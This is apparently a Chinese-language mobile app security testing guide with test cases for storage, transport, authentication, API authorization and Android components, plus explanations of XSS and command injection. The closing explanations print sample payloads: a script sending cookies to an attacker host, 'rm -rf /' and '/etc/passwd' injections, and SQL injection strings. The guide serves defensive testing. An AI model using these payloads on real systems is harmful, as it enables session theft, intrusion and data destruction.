安全測試核心領域#
數據安全測試#
-
存儲安全
- 測試點:本地數據庫、SharedPreferences/NSUserDefaults、緩存文件、日誌文件。
- 方法:使用工具(如 ADB、SQLite 瀏覽器)檢查本地存儲的敏感數據(如密碼、Token)是否明文存儲。
- 工具:MobSF(靜態分析)、DB Browser for SQLite。
-
傳輸安全
- 測試點:HTTPS 通信、證書校驗、弱加密算法(如 SSLv3、SHA1)。
- 方法:抓包工具攔截請求,驗證是否強制使用 TLS 1.2+,檢查證書是否有效(如防中間人攻擊)。
- 工具:Burp Suite、Wireshark、Charles Proxy。
-
隱私合規
- 測試點:用戶數據收集是否符合 GDPR、CCPA 等法規,隱私政策是否明確。
- 方法:檢查應用權限是否最小化(如無需攝像頭卻請求權限)。
身份認證與授權#
- 認證機制
- 測試點:弱密碼策略、多因素認證、生物識別安全性。
- 方法:模擬暴力破解(如使用工具 Hydra)、繞過生物識別(如假指紋)。
- 會話管理
- 測試點:Token 有效期、註銷後 Token 失效、會話劫持。
- 方法:篡改 Token 重放請求(通過 Burp Repeater 模塊測試)。
代碼與逆向安全#
- 代碼混淆
- 測試點:反編譯後代碼可讀性(如是否使用 ProGuard/R8)。
- 方法:使用 Jadx/Ghidra 反編譯 APK/IPA,檢查關鍵邏輯是否暴露。
- 反調試機制
- 測試點:檢測調試器、防止動態注入(如 Frida)。
- 方法:使用 Frida 嘗試 Hook 關鍵函數,測試應用是否崩潰或觸發防護。
服務端與 API 安全#
- 接口安全
- 測試點:越權訪問(水平 / 垂直越權)、參數篡改(如修改用戶 ID)。
- 方法:使用 Postman 構造請求,測試非授權用戶能否訪問他人數據。
- 注入攻擊
- 測試點:SQL 注入、XSS、命令注入。
- 方法:輸入特殊字符(如
' OR 1=1--
)測試接口響應。
組件安全(Android 特有)#
- 四大組件暴露
- 測試點:Activity、Service、Broadcast Receiver、Content Provider 的導出風險。
- 方法:使用 Drozer 掃描組件,嘗試未授權訪問(如
adb shell am start -n com.example/.DebugActivity
)。
- Intent 劫持
- 測試點:惡意應用通過 Intent 獲取敏感數據。
- 方法:構造惡意 Intent 發送數據,檢查應用是否過濾輸入。
運行時安全#
- 日誌泄露
- 測試點:調試日誌中是否包含敏感信息。
- 方法:運行應用並通過 Logcat 查看日誌輸出。
- 內存安全
- 測試點:敏感信息在內存中的殘留(如密碼明文)。
- 工具:使用 Fridump 或 Memory Profiler 檢查內存快照。
第三方依賴安全#
- 庫漏洞
- 測試點:第三方 SDK / 庫版本是否存在已知漏洞(如 Apache Commons 舊版本)。
- 工具:OWASP Dependency-Check、Snyk。
- 廣告 SDK 風險
- 測試點:惡意廣告 SDK 收集用戶數據。
- 方法:審查 SDK 權限及網絡請求行為。
測試方法與工具#
靜態分析#
- 目的:在不運行代碼的情況下分析潛在漏洞。
- 工具:
- MobSF:自動化掃描 APK/IPA,檢測不安全配置、硬編碼密鑰。
- SonarQube:檢查代碼中的安全漏洞(如 SQL 注入片段)。
動態分析#
- 目的:在運行中檢測漏洞(如數據泄露、API 缺陷)。
- 工具:
- Burp Suite:攔截修改請求,測試越權、注入。
- Drozer(Android):動態測試組件安全。
滲透測試#
- 模擬攻擊場景:
- 中間人攻擊(通過 Burp 安裝自簽名證書)。
- 逆向工程(使用 Frida 繞過認證邏輯)。
自動化掃描#
- 工具:
- OWASP ZAP:自動化漏洞掃描(如 XSS、CSRF)。
- Nessus:網絡層漏洞掃描(如服務器配置錯誤)。
常見場景和詳細測試用例#
數據安全測試 - 存儲安全#
場景
用戶登錄後,應用將密碼明文存儲在本地數據庫的users
表中。
測試用例
-
標題:驗證用戶密碼是否加密存儲
-
步驟:
- 安裝應用並完成用戶註冊 / 登錄流程。
- 使用
adb shell
進入設備,找到應用數據目錄:adb shell "run-as com.example.app ls /data/data/com.example.app/databases"
- 導出數據庫文件到本地:
adb pull /data/data/com.example.app/databases/user.db
- 使用 DB Browser for SQLite 打開
user.db
,檢查users
表中的密碼字段是否為明文。
-
預期結果:密碼字段應為哈希值(如 SHA-256)或加密後的密文。
-
工具:ADB、DB Browser for SQLite
-
風險等級:高危(明文存儲可被惡意應用直接竊取)
數據安全測試 - 傳輸安全#
場景
應用在登錄時使用 HTTP 協議傳輸用戶憑證,未啟用 HTTPS。
測試用例
- 標題:驗證登錄請求是否強制使用 HTTPS
- 步驟:
- 配置 Burp Suite 代理,設置手機網絡代理指向 Burp。
- 在應用內執行登錄操作,Burp 攔截請求。
- 檢查請求 URL 是否為
https://
,若為http://
,嘗試修改請求內容(如密碼字段)並重放。 - 觀察服務端是否接受未加密請求。
- 預期結果:登錄請求僅允許 HTTPS,修改後的 HTTP 請求應被拒絕(返回 4xx/5xx 錯誤)。
- 工具:Burp Suite
- 風險等級:高危(中間人可竊取用戶憑證)
身份認證 - 弱密碼策略#
場景
應用允許用戶設置 “123456” 等弱密碼。
測試用例
- 標題:驗證密碼複雜度策略是否生效
- 步驟:
- 在註冊 / 修改密碼頁面,嘗試輸入以下密碼:
123456
(純數字)password
(常見弱密碼)abc
(長度不足)
- 檢查應用是否提示 “密碼需包含大小寫字母、數字且長度≥8 位”。
- 若允許設置弱密碼,記錄漏洞。
- 在註冊 / 修改密碼頁面,嘗試輸入以下密碼:
- 預期結果:應用應拒絕弱密碼並提示複雜度要求。
- 風險等級:中危(易被暴力破解)
會話管理 - Token 失效測試#
場景
用戶註銷後,應用未使 Token 失效,導致會話劫持。
測試用例
- 標題:驗證註銷後 Token 是否立即失效
- 步驟:
- 用戶 A 登錄應用,使用 Burp 攔截獲取其身份 Token(如
Authorization: Bearer xxxx
)。 - 用戶 A 執行註銷操作。
- 使用 Burp Repeater 模塊,攜帶用戶 A 的 Token 訪問需授權的 API(如
GET /api/user/profile
)。 - 檢查服務端是否返回
401 Unauthorized
。
- 用戶 A 登錄應用,使用 Burp 攔截獲取其身份 Token(如
- 預期結果:註銷後 Token 應立即失效,無法訪問敏感接口。
- 工具:Burp Suite
- 風險等級:中危(可導致用戶賬戶被劫持)
代碼混淆 - 反編譯暴露邏輯#
場景
應用未啟用代碼混淆,關鍵算法(如加密邏輯)在反編譯後暴露。
測試用例
- 標題:驗證 APK/IPA 是否經過代碼混淆
- 步驟:
- 使用
apktool
解包 APK 文件:apktool d app-release.apk -o output_dir
- 使用 Jadx 打開 APK,查看
com.example.app.util.CryptoUtils
類。 - 檢查加密函數(如
encryptPassword()
)是否以明文邏輯顯示(如直接調用 AES 密鑰)。
- 使用
- 預期結果:關鍵代碼應被混淆(如類名、方法名隨機化,邏輯難以閱讀)。
- 工具:Jadx、apktool
- 風險等級:中危(攻擊者可逆向加密邏輯)
服務端 API - 水平越權#
場景
通過修改用戶 ID 參數,普通用戶可訪問其他用戶的數據。
測試用例
- 標題:驗證用戶是否能越權訪問他人數據
- 步驟:
- 用戶 A(普通用戶)登錄,訪問
GET /api/users/123/profile
獲取自身數據。 - 使用 Burp 攔截請求,將 URL 中的用戶 ID 修改為
456
(其他用戶)。 - 重放請求,檢查是否返回用戶 ID=456 的數據。
- 用戶 A(普通用戶)登錄,訪問
- 預期結果:服務端應返回
403 Forbidden
,禁止非授權訪問。 - 工具:Burp Suite
- 風險等級:高危(數據泄露)
Android 組件安全 - 暴露的 Activity#
場景
應用的調試 Activity(如DebugActivity
)被導出,無需權限即可啟動。
測試用例
- 標題:驗證非導出 Activity 是否被保護
- 步驟:
- 使用 Drozer 掃描應用組件:
dz> run app.package.attacksurface com.example.app
- 找到導出的 Activity,嘗試通過 ADB 啟動:
adb shell am start -n com.example.app/.DebugActivity
- 觀察是否成功進入調試界面(如日誌輸出、敏感功能)。
- 使用 Drozer 掃描應用組件:
- 預期結果:非必要的 Activity 應設置為
android:exported="false"
。 - 工具:Drozer、ADB
- 風險等級:高危(攻擊者可利用調試功能)
運行時安全 - 日誌泄露敏感信息#
場景
應用在調試日誌中打印用戶手機號或 Token。
測試用例
- 標題:驗證日誌中是否泄露敏感數據
- 步驟:
- 使用 Android Studio 的 Logcat 監控應用日誌。
- 執行敏感操作(如登錄、查看個人資料)。
- 搜索關鍵詞:
token
、phone
、password
。 - 檢查日誌中是否明文顯示敏感信息。
- 預期結果:日誌中僅包含脫敏信息(如
token=***
)。 - 工具:Android Studio Logcat
- 風險等級:中危(惡意應用可讀取日誌)
第三方依賴 - 已知庫漏洞#
場景
應用使用含 CVE 漏洞的舊版本 OkHttp(如 CVE-2023-3635)。
CVE(Common Vulnerabilities and Exposures)公共漏洞和暴露
測試用例
- 標題:驗證第三方庫是否存在已知漏洞
- 步驟:
- 使用 OWASP Dependency-Check 掃描應用依賴:
dependency-check --project MyApp --scan ./app/libs
- 檢查報告中的漏洞列表,確認是否包含高風險 CVE。
- 比對當前版本與官方修復版本(如 OkHttp 4.10.0→4.12.0)。
- 使用 OWASP Dependency-Check 掃描應用依賴:
- 預期結果:所有第三方庫應為最新無漏洞版本。
- 工具:OWASP Dependency-Check
- 風險等級:高危(可導致遠程代碼執行)
參考資料和概念解釋#
OWASP(Open Worldwide Application Security Project,開放全球應用安全項目)是一個非營利性國際組織,專注於研究和改進應用軟件安全。它的核心目標是幫助開發者、測試人員和企業構建和維護安全的應用程序,通過公開分享知識、工具和最佳實踐來降低安全風險。
1.OWASP MASTG(Mobile Application Security Testing Guide)
2.OWASP MASVS (Mobile Application Security Verification Standard)
SharedPreferences/NSUserDefaults#
SharedPreferences(Android) 和 NSUserDefaults(iOS) 是移動應用開發中用於存儲輕量級鍵值對數據(Key-Value)的本地存儲機制。它們主要用於保存應用的簡單配置、用戶偏好設置或臨時狀態數據,但需注意其安全性問題。
測試場景
- 檢查明文存儲
- Android:通過
adb
導出/data/data/<包名>/shared_prefs/
下的 XML 文件,搜索敏感字段。 - iOS:越獄設備中直接查看
.plist
文件,或使用NSUserDefaults
讀取工具(如iExplorer
)。
- Android:通過
- 驗證加密
- 若使用加密庫(如 Android 的
Jetpack Security
),檢查密鑰管理是否安全(如是否硬編碼密鑰)。
典型漏洞案例
- 若使用加密庫(如 Android 的
- 案例 1:某社交應用將用戶身份 Token 明文存儲在
SharedPreferences
,Root 設備後可直接竊取 Token 進行賬戶劫持。 - 案例 2:某金融應用通過
NSUserDefaults
存儲臨時密碼,越獄設備讀取.plist
文件後繞過身份驗證。
XSS / 命令注入#
XSS#
跨站腳本攻擊,Cross-Site Scripting
定義
攻擊者向網頁中注入惡意腳本(如 JavaScript),當其他用戶訪問該頁面時,腳本在其瀏覽器執行,竊取數據或劫持會話。
原理
- 漏洞根源:應用程序未對用戶輸入的內容進行轉義,直接輸出到 HTML 中。
- 攻擊方式:在可輸入區域(評論、個人資料)插入
<script>
標籤或事件屬性(如onerror
)。
分類
- 存儲型 XSS
- 場景:惡意腳本被保存到服務器(如論壇評論),所有訪問者觸發。
- 示例:
竊取用戶 Cookie。
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
- 反射型 XSS
- 場景:惡意腳本通過 URL 參數傳遞,僅當前用戶觸發。
- 示例:
頁面直接顯示
https://example.com/search?q=<script>alert(1)</script>
q
參數內容,觸發彈窗。
- DOM 型 XSS
- 場景:前端 JavaScript 操作 DOM 時未轉義數據。
- 示例:
訪問
document.getElementById("output").innerHTML = location.hash.slice(1);
https://example.com#<img src=x onerror=alert(1)>
觸發攻擊。
命令注入#
定義
攻擊者在應用程序調用系統命令時,注入惡意參數,導致執行非預期的操作系統命令(如刪除文件、啟動服務)。
原理
- 漏洞根源:應用程序直接將用戶輸入拼接到系統命令中。
- 攻擊方式:在輸入中插入命令分隔符(如
;
、&&
、|
)。
常見場景
- Web 應用調用系統命令
- 輸入 IP 地址:
8.8.8.8; rm -rf /
,觸發命令:ping 8.8.8.8; rm -rf / # 執行 ping 後刪除服務器文件
- 輸入 IP 地址:
- 文件上傳功能
- 上傳文件名:
file.jpg; cat /etc/passwd > output.txt
,讀取系統密碼文件。
- 上傳文件名: